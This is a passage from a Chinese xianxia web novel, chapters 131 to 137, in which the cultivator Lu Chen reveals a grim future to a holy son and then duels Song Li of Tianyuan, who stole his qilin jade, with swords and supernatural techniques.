有长剑若流星一般在陆尘身後划过,猛的撞在摇光圣地之上。
而後万千小剑若箭矢而落,好似是一场大战前的宣言一般。
数以万计的修士在半空之中厮杀起来,一时之间,向来无人敢进犯的圣地竟成化作一片血流成河之地。
尸体杂乱的在圣地的各个地方堆积,很快便构成了一座又一座的小山。
摇光神子呆呆的站在原地,脸上再没有半分嬉笑之色。
血自很远处流淌而来,直至自其脚下穿过。
摇光神子下意识的避让开来,等血流穿过後,才又意识到此间不过是幻境而已。
可当真是幻境吗?
摇光神子看着圣地的每一处灵峰,每一座高楼。
此间一花一木,对於其而言都是无比熟悉。
而眼前之景,也全然不像是什麽幻境,反倒像是已行或将行之事。
“你猜猜你在干嘛?”
陆尘笑了笑问道。
摇光神子一怔,并不明白陆尘是何意思。
自己在干嘛?
自己不是在站着吗?
“抬头。”
陆尘手往半空一指,只见得一位白衣青年正与另一位天骄相战,二人不相伯仲,难分胜负。
可显而易见,在如今之势下,不相伯仲,便已是输得彻彻底底了。
所以那白衣青年只能眼睁睁的看着满门被屠,最终藉助大阵遁走,神情好似心死之人。
摇光神子呆愣愣的看着眼前一幕,心境久久难以平复。
“实话说与你,这便是我所卜算过的,你之未来。”
陆尘一拂袖,幻境便是一瞬崩碎,二人又回到了真龙巢穴之中。
摇光神子低着头,久久不语。
“当然,万事非绝对,我所给你展示的,只是一种可能,一种你作出选择后,可能会走向的结局。”
“你自然可以不信。”
陆尘食指轻敲膝盖,指尖每一落下,摇光神子便觉得自己心好似击鼓一般轰然作响。
目之所见的画面不断的在其脑海之中重复,令之丝毫不能忘记。
“诚然,你出身仙门世家,气运加身,天姿过人,大可随心而行,不需像世人那般忙忙碌碌,受困於万般杂事。”
“但我也说过,你要做好承受这个代价的心。”
“代价便是,宗门被屠,亲友死尽。”
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陆尘紧盯着摇光神子之双瞳,沉声而语。
“还请夫子教我,我该如何做。”
良久后,摇光神子似乎是下定了某种决心,脸色十分郑重的说道。
他之所以对万事万物都抱着散漫寻乐的态度,而非就是觉得自己哪怕如此随心所欲,亦是可与天骄匹敌。
再䭾圣地亘古长存,自己身为圣子,又何须像普罗众生一般自困。
但此时在陆尘连番引导加之亲临幻境下,摇光神子的心开始动摇了。
他第一次的意识到。
或许圣地,亦有覆灭一日。
可那时,自己能做些什麽呢?
自己是随心所欲惯了,可自己毕竟不是真正的那般
道家逍遥之辈,不可能眼睁睁的看着宗门被屠而无动於衷。
“无他,韶华易逝,光阴难追,莫虚度年华即可,你可随心而行,然不可独随心而行。”
陆尘缓缓而语。
摇光神子沉默良久,最终郑重点头。
“晚辈知晓。”
他脸上的笑意早已收敛,眉眼如剑,有锋芒放出。
系统的机械声悄然在陆尘脑海之中响起。
【夫子之责行使完毕】
【宿主将获得大量回馈奖励】
【一:五百年真一境修为】
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【二:帝经——白首心经】
【三:大道真器——白鹤羽袍】
待得摇光神子明悟后,系统所给予的奖励亦是浮现在陆尘心海之中。
陆尘挥了挥手,在摇光神子行礼道谢后,便开始冥想修行。
心海之中,浩荡的灵气翻涌澎湃,那麒麟玉疯狂吞噬着那些四散的灵气,好似是饕餮一般。
而其馀大部分则是没㣉陆尘的周天灵脉之中,不断的在其体内运转。
良久后,陆尘睁开眸子,吐出一口浊气。
“真一境二重了。”
陆尘自顾自的呢喃自语。
真一境所需的灵气修为极为庞大,再加之麒麟玉又不断的吞噬着一大部分,以至於陆尘在此境之中,进展缓慢,全然不像先前几境一般破境神速,快的令人难以想象。
“帝经……白首心经。”
待得将那浩瀚的灵气修为消化后,陆尘又内视心海之中。
只见得有一十五张白纸叠起,在心海之中一同漂浮着。
系统所给予的外物有两件,其中一件是大道真器,自然不用多说。
另一件则是这所谓帝经。
“白首帝经……莫非是白帝所创之心经?”
陆尘呢喃自语。
修行界中,《太上开天经》也即《混沌经》,被誉为天下第一心经。
然则《混沌经》难寻,世间是否当真有完整的混沌经也是难说。
故而在《混沌经》之下,大帝心经便是不少至尊天骄的另一番选择。
其中以《赤帝心经》最广为流传,乃是修行火之大道修士之毕生所求。
此外如《青帝心经》《黄帝心经》等,亦是备受追捧。
然则这所谓的《白首心经》,陆尘却是从未听说过。
“莫非是白帝心经?”
陆尘陷㣉沉思之中。
白帝乃是现今最後一位帝䭾,其一生横压同辈天骄,自出世以来便是高歌猛进,从未有可与之称为一生死敌之人。
然则就是这麽一位离现今纪元最近的一位帝䭾,有关其的记载却少的可怜,好似被什麽东西给硬生生的抹去一般。
“白帝一生未曾逢敌手,其所留下心经,想必也是玄妙不凡。”
陆尘心中这般想到,当下神识便往那白色书页扫去。
他虽已修行混沌经,并且已然修成混沌真气,不可能转而修行其他心经,但观大帝心经,彼此之间相互印证,或多或少会有些得悟。
神识扫过,一瞬之间,陆尘五感尽失,犹如身遭雷击。
“笼中鸟,终南飞。”
恍惚之中,陆尘好似觉得在何处听过类似的话。
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第一百三十二章 潜龙在渊
对的,自己一定在哪里听过。
陆尘的思绪翻涌起来,却始终想不起来,到底是在何处听过这句话,就好似有什麽东西在刻意消抹去他这段记忆一般。
他浑身发冷,心一身之间如坠冰窖。
为什麽。
为什麽连大帝都在说这般话。
横推万古的帝者都在感慨笼中鸟的话,这天地到底是什麽?
陆尘不敢再去多想。
是牢笼,还是炼狱?
他口诵心经,强行将脑海之中的杂乱思绪扫清。
道心再复清明。
无论天地是何般面目,还没到自己需要去细究之际。
但隐隐间,陆尘又觉得那些迷雾笼罩的古史又隐隐约约的有条线在相连一般。
青帝,白帝,冥府,出海……
“无需多想,无需多念。”
陆尘自顾自而语。
就在其诵经入定之时,陆尘心忽地一痛,像是被莫名牵引了一般。
心海之中,那麒麟玉影散发着极为璀璨的光芒,像是在欢呼,像是在悲鸣。
…………
北域,天渊城外。
天渊城昔年为临近帝位之巅峰修士以身化阵所筑成,无人可入,无人可出。
然则千万年流转,此般阵法早已被岁月消磨的有些褪去颜色。
天渊之人越发频繁的出入天渊城,在五域四海之间游走。
曾经被五域四海视为禁忌的二字,也早已不再是什麽隐秘。
天渊城外,有位女子傲然矗立,她身姿高挑,五官好似刀刻,哪怕天上仙子见之,亦是自惭形愧,不敢与之对视。
她伸手遮在自己眼前,似乎是有些畏惧阳光。
然而阳光并不刺眼,甚至是十分柔和。
女子腰间佩玉,无风自动。
那麒麟状的玉佩剧烈晃动着,好似夏蝉嗡鸣。
她的心忽地一痛,好似被什麽牵引了一般。
直到其用手紧紧攥住那摇晃着的麒麟玉,心口处的疼痛才稍稍减缓下来。
一位老者悄然出现在其身旁,单膝下跪。
“此行由老奴护送小姐。”
若是有认识老者的人在场,免不得要惊掉下巴,高居至尊之位的大能竟是向一女子下跪,恭恭敬敬的自称老奴。
这般情形,天下罕见。
然而女子本人对此似乎是早已习惯,并未说些什麽,只是直愣愣地看着那块叫做天渊的牌匾。
“爷爷总说,若不是我们守着,五域四海要死不知道多少人。”
女子目光空洞,声音淡然而语。
“家主大人所言极是,我天渊四家守此城千千万万年,长夜漫漫,不知死了多少代人,五域四海之人,无一人不欠我天渊四家。”
那老者愤愤而语,眸子之中有着火光闪烁。
女子点了点头,似乎也是想明白了什麽。
她攥着那枚麒麟玉,迎着光而行。
日光洒落,女子抬手遮着眼,透过指间缝隙,看到有一轮大日高悬。
“这便是太阳吗……好久没见了。”
女子呢喃而语,失神良久。
那永夜长城外的海岸上,铺天盖地的妖兽仍在咆哮着,声音隔着很远,竟
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是传到了女子的耳中。
她听这声音听的太久了。
她见那些尸首也见的太多了。
或许是因为麒麟玉的缘故,女子总会想到那个趴在尸山血海上的孩子。
“你不是把生命看做什麽不得了的东西?”
“那你该感谢我的。”
“你也该庆幸这块玉在我手中。”
“因为比起我杀的那些人,我所救之人要多的多。”
女子这般心想着,脚步不自觉的加快。
有飞舟自天际而来,落在其身前。
跨洲而行并不可以阵法传送,非得有机关大师所打造的飞舟方可。
“小姐这是要去何处?”
飞舟之上那人恭敬问道。
“东域,百朝战场。”
女子淡然而语,麒麟玉再作嗡鸣。
…………
东域,百朝战场,龙脉之地。
灵峰之上,一位少年费劲的探寻着方位,而後将一枚略显古怪的长钉钉入那处方位之中。
在做完这些后,少年才自顾自的笑了起来,遥遥向远处的另一座山峰处的少年招了招手。
接到信号的另一位少年当即手捏术法,将一枚同样略显古怪的长钉钉入早已拟定的方位之中,而後再以同样的方式传给下一位少年。
众人皆这般接力着,将长钉钉入一处又一处的山峰。
若是有人高坐云端仔细探寻的话,便是能瞧见那些长钉所定立的方向,似乎隐隐之间已构成了一条龙脉,与此处龙脉之势相呼应。
一时之间,好似是潜龙蛰伏,只待离渊之日。
第一百三十三章 血债血偿
百朝战场,真龙巢穴内。
只见得一圈人围坐在一起,面前叠放着样式各异的不同纸片。
“杀!”
“闪!”
“你扣血。”
“为什麽?”
“你自己看。”
“行吧行吧,扣就扣了。”
年轻人们激昂的将卡片甩出,只当是在沙场之中奋战一般。
陆尘心满意足的看着众人这副激昂模样,想必等他们出去后,这游戏便会流传至五域四海。
也算是匡扶汉室了。
距真龙巢穴现世已然过去三月,这三月间,陆尘已是将在场的众天骄尽数指点一番,如今踏入真一境巅峰,距离真我境界,也不过一线之差。
而原先在此处受困的诸位天骄,此时也是玩的不亦乐乎,再未有半分忧愁。
至於馀下的时间,陆尘则依旧是静坐冥想,以混沌真气为基,锤炼几身。
他破境属实过快,一年之间,已然从道台境界一跃至真一境界,此般破境之神速,哪怕陆尘有各般奇物压身,亦是难免会有些根基虚浮。
这三月间以混沌真气为主,真龙气为辅,二者交杂锤炼,至此方才得稳固根基。
“好了,你等今日便可离开了。”
牌局结束后,陆尘对众人说道。
其心海之中的麒麟玉摇晃的愈来愈烈,好似将要与故友又或是死敌相见。
众人站起身来,尽皆向陆尘行礼。
原先只是受昆仑神子身陨的惊吓,众人这才乖乖的待在这真龙巢穴之中。
但历经这数月的相处,却已然令在场的天骄有着莫名的不舍之情。
再者经受陆尘指点,众人此番而行所得,已然不逊色於一座远古秘藏。
“多谢夫子。”
“多谢夫子。”
“多谢夫子。”
众人再度谢过,这才依依不舍的离去。
陆尘也并未刻意叮嘱众人莫要泄露其夺得真龙术。
因为这已然没有必要了。
天渊之人,已至。
百朝战场外,一女子自云端之上的飞舟一跃而下,径直破开百朝战场禁制,直直落在龙脉之地的一处高峰之上。
“我说过,等你来杀我,或者,我来杀你。”
女子淡然而语,声音轻缓,却是传遍整片天地。
所有人都不约而同的抬头望向那处山峰,只觉得好似见一寒月高悬,令人心生卑意。
哪怕是那些高高在上的圣地神子们,亦是觉得那道身影是那般的可怕。
这并非是境界所带来的压迫,而是近乎本源,近乎所谓道之上的压迫。
云端之上,天渊至尊笑呵呵的与七大圣地的至尊打了个招呼。
“我家小姐姐见见故友,诸位没有意见吧。”
至尊们有的沉默不语,有的脸色阴沉,有的却与其攀谈起来,满面笑脸。
“早就听闻术士传言,宋家有女,将登帝位,如今一见,当真名不虚传啊。”
一位至尊看着那高山之上的身影,不免叹道。
他并非在刻意吹捧着什麽,而是在说一个事实。
一个令人不得已信服的事实。
那便是和眼前女子所比,哪怕是圣地那些号称千年未有的一批天骄,也是显得极为庸平。
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真君,且非真一,乃为真我。
“来送死?”
天地间,忽地有人这麽一问。
只见得一袭青衫自真龙巢穴而出,遥遥望向山峰处的女子。
女子腰间的佩玉摇晃嗡鸣,散发着璀璨至极的光芒。
麒麟虚影一瞬而现,在其身後盘旋,照亮整片天幕。
“麒麟玉……”
至尊们望着那麒麟虚影,一瞬间便明了了其中恩怨。
有几人深深的看了眼天渊至尊,哪怕高居至尊之位,亦是深深叹息起来。
此番气运夺舍,需得至尊散道,方可承载天道反噬。
这般手笔,也唯有天渊以及中土那些大帝传承方可挥霍的起了。
一人浮空而立,一人立於山头。
二䭾相视良久,眸子皆是杀意。
陆尘嘴角勾起,轻吐二字:“窃贼。”
女子眸子空洞,并未因陆尘所言而有任何的情绪波动。
她淡然而道:“修行䭾,不皆是天地窃贼。”
女
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子身着淡青色的罗裙,身姿纤细修长,宛如风中的青竹。
其眉如新月,其眼似深潭。眸子虽是清澈明亮,眼神中却始终透着一种淡漠的疏离之感,彷佛在她的眼中,世间万物皆为过眼云烟,无足轻重。
“你的修行速度很快,出乎我的意料。”
女子又道。
陆尘冷呵呵笑了一声,双指做剑势而出,剑道真意便是一瞬间如惊鸿般向女子掠去。
女子玉指点出,亦是有
一道剑气而出,剑道真意!
两道剑气交相碰撞,一时之间,剑气向天地四周扩散而开,令得所有人都感觉身处剑阵之中。
“这……”
云端之上,哪怕是至尊也未免有些吃惊,剑道真意乃为世间最难掌握的真意之一,而眼下这两位年轻人,竟是这般随手甩出,属实是令人难以看透。
“我东域竟有如此人物,未入我圣地之中,属实可惜。”
看着那道青衫身影,一位至尊叹了口气,眸子之中露出惋惜。
那惋惜神色,好似陆尘已然是个死人一般。
事实上,在场的诸位至尊,皆是如此所想。
哪怕这不知来处的青年当真赢了,亦要不过身死的下场。
至尊之下,皆是蝼蚁。
“我本意打算入至尊境时,方才收回本源,现在看来,并未有这个必要了。”
那浩荡的剑气令得女子额前有几缕发丝拂过,她淡然而语,目光直视陆尘。
“收回?”
陆尘哈哈大笑起来。
“本就是偷来的东西,也能用这词了?”
他嘴角勾起,讥讽而语。
在见到女子的那一刻,那些记忆便是如潮水般涌来,在陆尘的脑海之中不断翻涌着,令其万分难受。
那满是尸骨,血流成河的山庄上,幼童趴在尸山之上,放声大哭。
而女童眼神空洞,全然不解。
那眼神在陆尘的脑海之中不断浮现,好似一把刀一把,不断的在刻画着什麽,令陆尘感受到一股钻心的痛。
为什麽。
为什麽明明杀了这麽多人,还能摆出一副你为什麽要哭的模样?
陆尘眸子杀意毕露,一字一句而语:“血,债,血,偿。”
第一百三十四章 帝位
百朝战场之上,所有人都将目光聚集到那二人身上,明明皆是青年之人,境界却一个比一个高的吓人。
女子乃为真我境界,距至尊仅有一步之遥。
而青衫男子则是真一境界,虽比真我境低上一层,却亦是可称真君,非常人所能及。
哪怕是圣地这些神子圣女视之,亦是自惭形秽。
“那是夫子的仇家吗……好恐怖的境界,哪怕远远视之,亦是令我心悸动。”
有百朝战场的参赛䭾感慨道。
“不愧是夫子,就连死敌也这般恐怖,与他们二人相比,先前那些趾高气扬的圣地神子们,也不过如此。”
又有人愤然而语,依旧对那些神子圣女极为不满。
稍远处的山峰处,一身华服的百里浮华眼神担忧,眉头紧锁。
身为世家之人,他自然知晓那位女子所乘之飞舟意味着其出自何处。
天渊。
那是个足以覆灭圣地的存在。
哪怕是中土那些万古亘立的大帝传承,亦是不会主动将其招惹。
随着近十年来,天渊之人的频繁出入,这座原先五域四海之人闭口不谈的禁地,也再度被一些世家圣地的弟子所知。
昔年一位几近帝位的巅峰修士以身化阵,将那北海渡口外的城池化作禁区,自此後,里间人不得出,外界人不得入。
而期望从此路重返五域四海的妖族们,亦是被再度隔断妄想,不得入北域半步。
天渊城内因聚集着当时半数的天骄大能,再加之与诸多大妖厮杀,以至於此地密藏极为丰厚,竟是丝毫不逊色於中土那些大帝传承。
而在此地化作禁地后,这些天骄大能的後代便逐渐形成了四大世家。
分别为宋齐梁陈。
这四家比之外界的那些荒古世家,所存在的年限并不算久,可底蕴却丝毫不弱,哪怕在这些荒古世家中,亦是位居前列。
时过境迁,昔年那位准帝以身所化的大阵也逐渐松动。
妖族再度席卷而来,意图重返五域。
四大家修筑永夜长城,与妖族争斗万载。
四家所流之血,确实难以计量。
后封印越发松动,四大家得以付出一定代价自天渊而出。
第一位离开天渊的是齐家的一位年轻人。
他在北域挨个问,是否知道世间有一城名为天渊,得到的答案都是不知道。
最後少年在一处与圣地等同的仙门听到了答案。
“天渊,那不是罪䭾的牢笼吗?”
那人如是而语。
少年哈哈大笑,不置可否。
当其再世间时,带着数位至尊将那仙门满门屠戮殆尽。
至此,天下再知天渊姓名。
原本这番屠戮满门,丝毫不留一线之举是会遭受五域四海所共击。
但或许是五域四海那些高高在上老家伙们也知晓天渊阻拦妖族万载有功,故而将此事强行压下,并未过多计较。
後天渊之人每一现世,世间必有一处仙门覆灭,以至於世人再听得天渊之名时,皆是犹如闻得惊雷。
百里浮华身为世家子弟,自然对这些都有所知,因此才会万分对陆尘忧心。
一旁的段凌云倒是丝毫未忧心,双眼好似火炬的看着那二位天骄大战。
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山峰之处,女子身形跃动,掌中寒光涌动,一掌拍出,带着滔天气息,好似寒月亲临。
在场的所有人都感受到一股彻骨的寒气,好似置身凛冬一般。
这一掌之威势,已然不是寻常的天阶武技所能比拟。
陆尘巍然不惧,掌心处赤红色光芒涌现,猛然向虚空一按。
一阳一阴,两道截然不同的浩荡灵气再度在天地之间碰撞,迸发出令众人皆是喘不过气的迫人威压。
轰的一声,天地间好似有雷声炸响。
二人身影在那尘烟之中争锋,皆是快如闪电,令寻常人只能看到些许的残影隐隐约约的在那尘烟之中浮现。
冲天的混沌之气自那尘烟之中弥漫开来,混沌气之盛,乃至遮天蔽日。
女子混沌之气缭绕,好似神人。
“这般混沌气象……你家小姐是修习了完整的《太上开天经》吧。”
一位至尊不禁这般感叹道。
“自然。”
天渊至尊颇为自傲的说道。
要知晓《太上开天经》唯有前
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几篇在外流传,後者如《封王》《封侯》《真一》等皆是极为难寻,哪怕是这些圣地,也不过只有一二残篇。
而眼前女子能修习完整的《太上开天经》,这令至尊都有些眼红。
大道真意虽可贵,但灵气乃是修行之根本,甚至要高於肉身。
这也是为何《太上开天经》後几篇令至尊也要心动的缘故。
就在众人感慨的一刹那,又有一股冲天混沌气升起,遮天蔽日,令得天地好似重回混沌。
“不对,这青年不过真一境界,哪怕也有混沌经完本,也不可能修习真我篇,为何这混沌气之纯净,比之这女子
过之而无不及。”
见那混沌气遮天蔽日,哪怕是至尊也是有些疑惑。
“难不成是混沌体?”
有一位至尊忽地说道。
“不是,混沌体万古无一,一举一动皆生异象,这显然不是。”
在场的至尊望向陆尘的目光已然变幻,从最先的惋惜变得有些许的炽热,好似在盯着什麽财宝一般。
盯着令至尊也要心动的财宝。
半空之中,女子眼神空灵,脚步在虚空一点,天地便好似为之一颤。
她裹挟着滔天混沌之气,与陆尘在半空之中搏杀。
不过瞬息间,二人已然以各般术法武技相撞千次,速度之快,令众人只能捕捉到层层叠叠的残影。
千招之後,混沌气好似烟火炸开,令得天地再度为之一颤。
二人各自倒飞而出,相视而立。
陆尘心口隐隐作痛,此番交手下来,他虽是不落下风,但毕竟是真一境界,离真我境足足一个大境界。
此番境界,若是与寻常天骄对敌,陆尘可以轻松抹平。
但於这般几乎钦定是将登临帝位之人相较,这般境界差距,那便是致命伤。
至於为何是将登录帝位之人,那是因为在陆尘的眸子下,女子头顶金彩之色。
其彩色之盛,比之苏月仙,更要过之。
苏月仙的生平曾有小字而言。
败於天渊之人,终失帝位。
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第一百三十五章 剑术迭出
在武道天眼所观测的命途上,登临帝位的,便是眼前这位来自於天渊的女子。
姓宋,单名一个璃。
百朝战场的半空之处,两位真君各施术法,将天地灵气尽皆调动,好似海啸一般不断席卷。
此番天地本是难以承受这般威势,若不是有至尊在此,二人混沌气刚一显露时,整片百朝战场便已是顷刻间消散。
宋璃神色淡漠,脚步在虚空之中轻点,便是有无数极为繁杂的符文自其脚边延展而去,布满整个地界。
这些繁杂符文皆是带着滔天威势,好似要将世间的一切尽数扫荡。
“神通,竟是神通术!”
一位圣子惊呼道。
他虽亦有神通之术傍身,但大抵都是最终杀招,怎会如宋璃这般,在二人交锋不久后,顷刻间便是迭出杀招。
一步点出,宋璃并不停步,她行走於那符文布满的空接之上,每一踏步,便有莲花自行生於其足下。
这些莲花皆是琉璃之色,令人视之难忘。
莲花在宋璃几步踏出后,便是顷刻绽放,无数的花瓣闪烁着那复杂符文朝陆尘袭去,每一花瓣就是带着大道杀机。
数千道花瓣飞舞,一瞬之间,好似剑阵亲临。
陆尘身影犹如鬼魅一般的跳动,竟是自那数千道花瓣之中而过,并未粘得分毫。
他手握成拳,拳头处闪烁着金光。
这一拳挥出,带着滔天气息砸落,龙吟声在同一刻响起。
宋璃面色不改,一掌拍出,有凤鸣相随。
拳掌相碰,又是一股浩荡气息在天地间炸响。
同一时刻,宋璃脚尖又是在虚空一点,原些的繁杂符文尽数犹如繁星一般涌出,其旋转飞舞,犹如锁链一般在陆尘周身缠绕。
这些符文带着极为古老而又禁制的气息,将整片空间封禁,令得陆尘连施展身法的地步都没有半点。
一把长剑出现在宋璃手中,长剑雪白,锋芒令所有人不敢直视。
她手中握剑,提剑而挥。
一道令天地失色的剑气朝那锁链之中的陆尘斩去,好似要将其在此刻终结。
陆尘避无可避,手中亦是有一把长剑浮现,他闭眼挥剑,一剑而出,好似要将一切斩落。
他嘴角有丝许鲜血流出,眸子里却是没有丝毫惧意。
一剑破万法。
剑气一瞬将那些符文尽数斩落,与宋璃所挥出的剑气相撞。
第一次,破万法的大道真意被人所压制,宋璃那一道剑气将破万法的剑气如狂风破竹一般摧毁,直直朝陆尘而去。
陆尘横剑格挡,左肩被剑气所伤,有剑痕浮现,露出鲜红色的血迹。
还未等其有任何喘息,宋璃便已是提剑而至。
剑如龙蛇而出,每一剑都藏着无尽锋芒,好似要将世间的一切斩落。
陆尘被此番剑招所逼,连连倒退。
“此番剑意剑术,与之相比,那些所谓的剑子也不过如此吧。”
云端之上,至尊亦是一叹。
照理来说,高高在上的至尊岂会在意底下小辈的较量,但眼下的二位属实是惊世骇俗,与这二人相比,兴许这有那些尘封不出的帝子方可比拟。
“都说此届是黄金大世,如今一看,果真不假。”
又有一位至尊叹息,为这二人感慨。
剑招之下,陆尘长剑忽地一旋,好似一舞。
这一剑气息逼人,硬生生的将宋璃的剑招打断。
陆尘长剑直指宋璃,口中喃喃而语。
“我有屠龙之术,有蛟龙处,且斩蛟龙。”
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他挥剑而舞,剑招一瞬之间,令得天地失色。
乌云自四面八方云集,高天之上忽地落下大雨,好似是龙在哭泣。
“这是……屠龙术!”
大雨滂沱,并不能近得至尊分毫。
在见到陆尘此番剑招后,真天圣地那位背剑至尊恍惚间有些失神,久久不能平复。
身为剑道大能,他自然要比任何人都要对此番剑招熟悉的多。
也唯有他才真正的知晓,此番剑招有多麽的恐怖。
宋璃不闪不退,双指并拢,在长剑剑刃之上抹过。
血色一瞬之间将长剑染的血红,使之好似自血潭之中锤炼而出。
她亦是将长剑直指陆尘,尖峰之处,剑气无匹。
二人的剑意都攀升到了一个极点,整个百朝战场,除却至尊立足之地外,尽皆笼罩在此剑气之下,不得动弹分毫。
“唯以此剑,要戮剑诛仙。”
宋璃轻声而语,却令得天地间万物皆听得此句。
“戮剑诀……”
真天至尊又是一惊,神色再难平复。
他有些难以想象,为什麽这些世间第一等的剑术,尽在这些小辈手中,莫非他们当真是什麽受天道所青睐,注定走到帝路尽头之人?
真天至尊忽地生出些许寒意,这并非是受外界的剑意或
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是剑气所扰,而是自心底而出的,为後生所叹。
二人皆是举剑,而後长剑挥出,带起滔天剑气。
这是剑术
巅峰的一场对决,二人所行之剑术,皆是位於剑道顶点,令至尊亦是眼红。
此番剑术碰撞,惊天地而泣鬼神,令得整片天地皆是出些细微裂缝,好似要顷刻间碎裂一般。
事实上若没有至尊在场,此番天地早就要被二人打的粉碎。
“你境界不够高,不是我之敌手。”
半空之中,二人提剑激斗,剑意与剑术都远超世间所谓的天生剑胚,令得在场的所有剑修尽皆汗颜。
“若你我同境,此时你已然说不出了。”
陆尘冷笑,屠龙之术第二式顷刻之间挥出,这一击迅疾,竟是令得宋璃没有半分闪躲之机,只能横剑格挡。
剑招落下,宋璃吐出一口鲜血,染在其绿色罗裙之上。
二人肉身其实早已到了登峰造极的地步,非寻常攻势所能伤。
而剑道乃为天地之间杀伐最重的大道,在其之下,哪怕是二人这能与大妖匹敌的肉身,亦是要负伤流血。
“好强,真的好强。”
至尊们的身後,那些圣子们忽地觉得有些可笑,夫子这般实力,自己当时竟还妄图阻断其受那真龙术的传承。
“我就说吧,夫子是最厉害的,哪怕是天渊来人,也不能与之相比。”
长孙漠遥眼中闪着亮光,陆尘以真一境界逆伐真我,此番战力,已然堪称天下第一真一修士了。
“没有那麽轻易……”
摇光神子摇了摇头,依旧为陆尘担忧。
“境界越高,彼此一境之间的差距便是越大,看似夫子稍占上风,但二䭾境界底蕴在此,此消彼长,夫子依旧很危险。”
他眉头紧锁,知晓真我境修士的恐怖之处。
二人这般连番动用术法与神通,若是陆尘未能迅速取胜,必然会陷㣉到极其危险的地步。
“而且,那枚玉……”
他的目光落在宋璃腰间悬挂着的那枚麒麟玉上。
麒麟玉沾染血色,那麒麟瞳孔之中,散发着异样的光。
好似将要咆哮世间。
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第一百三十六章 麒麟,真龙
宋璃腰间的那枚麒麟玉剧烈摇晃着,好似在咆哮一般,令得万物惊惧。
巨大的麒麟虚影浮现在宋璃身後,怒目而视陆尘。
陆尘心口忽地一痛,心海之中的那麒麟虚影亦是咆哮不已,欲咆哮而出。
只是其心海之中的毕竟只是虚影,并未有形,因而哪怕在那心海之中咆哮不已,亦是作无用功。
陆尘望着那比之山岳庞大百倍的麒麟虚影,嘴角勾起抹自嘲笑意。
这本该是自己所有之物,别人夺去后拿来对付自己,竟是这般威风凌凌,倒是令人有些发笑了。
“麒麟术……”
至尊感叹一声。
在初见那女子腰间麒麟玉时,在场的至尊们便都有些许猜测了。
如今一见,依旧惊叹不已。
绝世神通,麒麟术。
天底下共有十大绝世神通,这十大神通,堪称天底下最为绝顶的功法,其杀力之大,足以令至尊身陨。
照常理而言,至尊是很难杀死另一位至尊的,毕竟至尊若是一心想逃,天地间无处不可去,无处不可逃。
只要有一丝魂魄在,依旧可纵横天地间。
但若杀人的那位至尊有一门绝世神通,那麽情形便会彻底转变。
若是别般手段,大不了在受重创之後远遁。
但若是绝世神通,那便不是什麽重创了,而是真正的杀人之术。
至尊受之,至尊亦死。
“我家小姐受天道所青睐,其身上所负气运,天下第一人。”
天下第一人!
好一个狂傲的词。
但在场的至尊却是并未反驳。
如此年轻的真我修士,再加之绝世神通,确实可以令人说出如此狂悖之语。
毕竟在在场至尊的理念之中,古之大帝少年之时,恐怕也未有场下这二人这般夸张。
宋璃玉指摩挲腰间的麒麟玉,麒麟玉上血色褪去,涌出白光。
白光一瞬间将宋璃笼罩,令其原先所受之剑痕一瞬消散,气息再度重返巅峰。
“那枚玉到底是什麽来头,竟然连真君的伤势都能瞬息治愈吗……”
场中的众人都是注意到那枚麒麟玉的古怪,同时为陆尘哀叹不已。
真一伐真我本就是逆行伐上,对方好不容易落下伤势,转眼间又恢复如初,这样人如何相较。
在这一刻哪怕是一向对陆尘有些盲目崇拜的段凌云,亦是眉头紧锁起来,心好似沉入谷底。
在其身侧,林炎亦是双拳攥紧,为陆尘万分忧心。
“麒麟乃为祥瑞,行於四海,见之者得吉运。”
宋璃目视陆尘,并未着急动手。
“然其亦可镇压邪祟,令万物臣服。”
她眸中有着繁杂符文浮现,好似天地间最古老之纹路。
“去。”
宋璃手作剑指,身後那巨大的麒麟虚影便是咆哮着朝陆尘而去。
一瞬之间,整片天地剧烈晃动,地动山摇,无数的空间裂缝撕裂而开,里间是漆黑如墨的虚空。
那麒麟虚影遮天蔽日,在其之下,陆尘好似蝼蚁。
“今日之战,到此结束了。”
云端之上,那位天渊至尊笑道。
除去昆仑至尊笑着附和外,七大圣地的其馀至尊皆是不语,将目光投向陆尘,眸子里皆是惋惜不已。
至於究竟是惋惜陆尘身上所负的那些神通秘术,好似惋惜这麽一位天骄陨落,那便不得而知了。
绝世神通之下,避无可避,退无可退。
唯有死路一条而已。
在那遮天蔽日的巨影之下,陆尘双目紧闭,一瞬之间,心海竟是平静至极,没有半分波动。
下一刻,他双眸睁开,眸子金光璀璨,好似真龙之瞳。
龙吟之声一瞬间响彻天地,金雨随之而落。
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璀璨的金龙虚影在陆尘身後凝聚,张牙舞爪,咆哮而出。
那金龙现世的一刹那,整个百超战场所有的大妖尽数跪服在地,不敢有丝毫动弹。
真龙,古之万族之首。
时至今日,这般来自上位者的威压依旧印刻在所有妖兽的血脉之中,难以将之磨灭。
“真……真龙术!”
“不对!这真龙术为何会在其手中!”
至尊们面面相觑,齐齐望向身後的那些圣地神子们。
神子圣女们哑然失语,不知道如何解释里间到底发生了什麽。
“若此子身负真龙神通,恐怕结局难说了。”
至尊眸子微缩,死死的盯着陆尘身影。
那宋璃虽也是身负各般神通术法,但天底下恐怕没有人会去打天渊之人的主意。
但陆尘不同,其今日显露这些神通术法,哪怕不被天渊之人所杀,亦是要被整个东域的至尊争抢,而後或以利诱之,或以势压之。
匹夫无罪,怀璧其罪。
今日之後,无论结局是何,陆尘在东域都不会有半点安生日子。
百朝战场之间,腾跃而出的真龙与那麒麟相撞,一瞬之间,地动山摇,天地间有万道惊雷炸响。
天地为这般杀招变色。
浩荡的灵气一瞬间激荡四散开
来,陆尘与宋璃皆是倒飞而出,各自砸落在山峰之上,直接将那矗立万古的山峰砸的粉碎。
瑶池圣地的女子至尊轻挥衣袖,将四散而开的灵气抹去。
若未有至尊出手,此番绝世神通之杀招馀波下,此番天地除至尊外的所有人,尽皆要死去,绝不会有半分生机。
天地已然碎裂,巨大的空间裂痕延展而去,里间漆黑,好似深渊。
陆尘与宋璃却是不管不顾,衣衫尽皆染血,拖着遭受重创的肉身,再度向彼此袭杀而去。
不死,不休!
第一百三十七章 手段尽出
谁也没想到,这般令至尊都要眼红的绝世神通会出现在两个晚辈身上。
其威势之大,已然令陆尘以及宋璃二人具是口吐鲜血,千疮百孔。
在此般情形下,二人也没有丝毫的留手,两相碰撞交手间,尽皆是天阶武技又或是小神通术。
天地因二人而失色,这一战,注定要载㣉青史之中。
宋璃腰间麒麟玉闪着白光,天地无形间,便有一股压胜之感,袭来,令得陆尘的每一番行动,都好似带上锁链一般,难以挣脱而出。
陆尘暴喝一声,龙吟凤啸之声炸响,一瞬间将这麒麟玉所带来的压胜之感驱散。
